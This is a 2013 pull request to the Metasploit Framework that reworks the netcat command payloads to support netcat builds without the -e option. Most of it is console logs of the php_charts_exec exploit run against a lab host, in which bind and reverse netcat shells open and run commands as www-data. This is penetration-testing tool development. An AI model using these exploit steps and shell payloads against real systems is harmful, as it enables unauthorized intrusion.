rapid7/metasploit-framework — pull request #1532 by jvazquez-r7 (2013-02-28 20:17:56+00:00)
Title: traditional netcat compatible payloads

This pull requests modify the current cmd netcat payloads to make them compatible with the netcat version without "-e" option.

After speaking with @jlee-r7 it seems a good idea to combine both versions in the same modules, even when there are drawbacks:

* Payload space
* More badchars to have into account

The actual modules compatibles with the netcat payloads should work still. So doing a pull request with the hope others share their opinion about the topic.

On the other hand, this pull request should allow #1496 to use the cmd netcat payloads.

The modified cmd netcat payloads have been tested with the php-charts exploit:

* Using the netcat without -e:

```
msf > use exploit/unix/webapp/php_charts_exec
msf exploit(php_charts_exec) > set rhost 192.168.1.159
rhost => 192.168.1.159
msf exploit(php_charts_exec) > set lhost 192.168.1.128
lhost => 192.168.1.128
msf exploit(php_charts_exec) > set payload cmd/unix/bind_netcat
payload => cmd/unix/bind_netcat
msf exploit(php_charts_exec) > exploit

[*] 192.168.1.159:80 - Sending payload (716 bytes)
[*] Started bind handler
[*] Command shell session 1 opened (192.168.1.128:52900 -> 192.168.1.159:4444) at 2013-02-28 20:40:28 +0100
id
id;

uname -a

[-] Exploit failed [unexpected-reply]: 192.168.1.159:80 - Sending payload failed

uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 i686 GNU/Linux
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
^C
Abort session 1? [y/N] y

[*] 192.168.1.159 - Command shell session 1 closed. Reason: User exit
msf exploit(php_charts_exec) > set payload cmd/unix/reverse_netcat
payload => cmd/unix/reverse_netcat
msf exploit(php_charts_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444
[*] 192.168.1.159:80 - Sending payload (796 bytes)
[*] Command shell session 2 opened (192.168.1.128:4444 -> 192.168.1.159:48078) at 2013-02-28 20:41:12 +0100
id

[-] Exploit failed [unexpected-reply]: 192.168.1.159:80 - Sending payload failed

uid=33(www-data) gid=33(www-data) groups=33(www-data)
^C
Abort session 2? [y/N] y

```

* After switching to netcat.traditional (Ubuntu 10.04) (netcat with -e option):

```
msf exploit(php_charts_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444
[*] 192.168.1.159:80 - Sending payload (732 bytes)
[*] Command shell session 3 opened (192.168.1.128:4444 -> 192.168.1.159:48080) at 2013-02-28 20:44:20 +0100
id
[-] Exploit failed [unexpected-reply]: 192.168.1.159:80 - Sending payload failed

uid=33(www-data) gid=33(www-data) groups=33(www-data)
^C
Abort session 3? [y/N] y

[*] 192.168.1.159 - Command shell session 3 closed. Reason: User exit
msf exploit(php_charts_exec) > set payload cmd/unix/bind_netcat
payload => cmd/unix/bind_netcat
msf exploit(php_charts_exec) > rexploit
[*] Reloading module...

[*] 192.168.1.159:80 - Sending payload (734 bytes)
[*] Started bind handler
[*] Command shell session 4 opened (192.168.1.128:52950 -> 192.168.1.159:4444) at 2013-02-28 20:57:50 +0100
id
[-] Exploit failed [unexpected-reply]: 192.168.1.159:80 - Sending payload failed

uid=33(www-data) gid=33(www-data) groups=33(www-data)
^C
Abort session 4? [y/N] y

[*] 192.168.1.159 - Command shell session 4 closed. Reason: User exit

```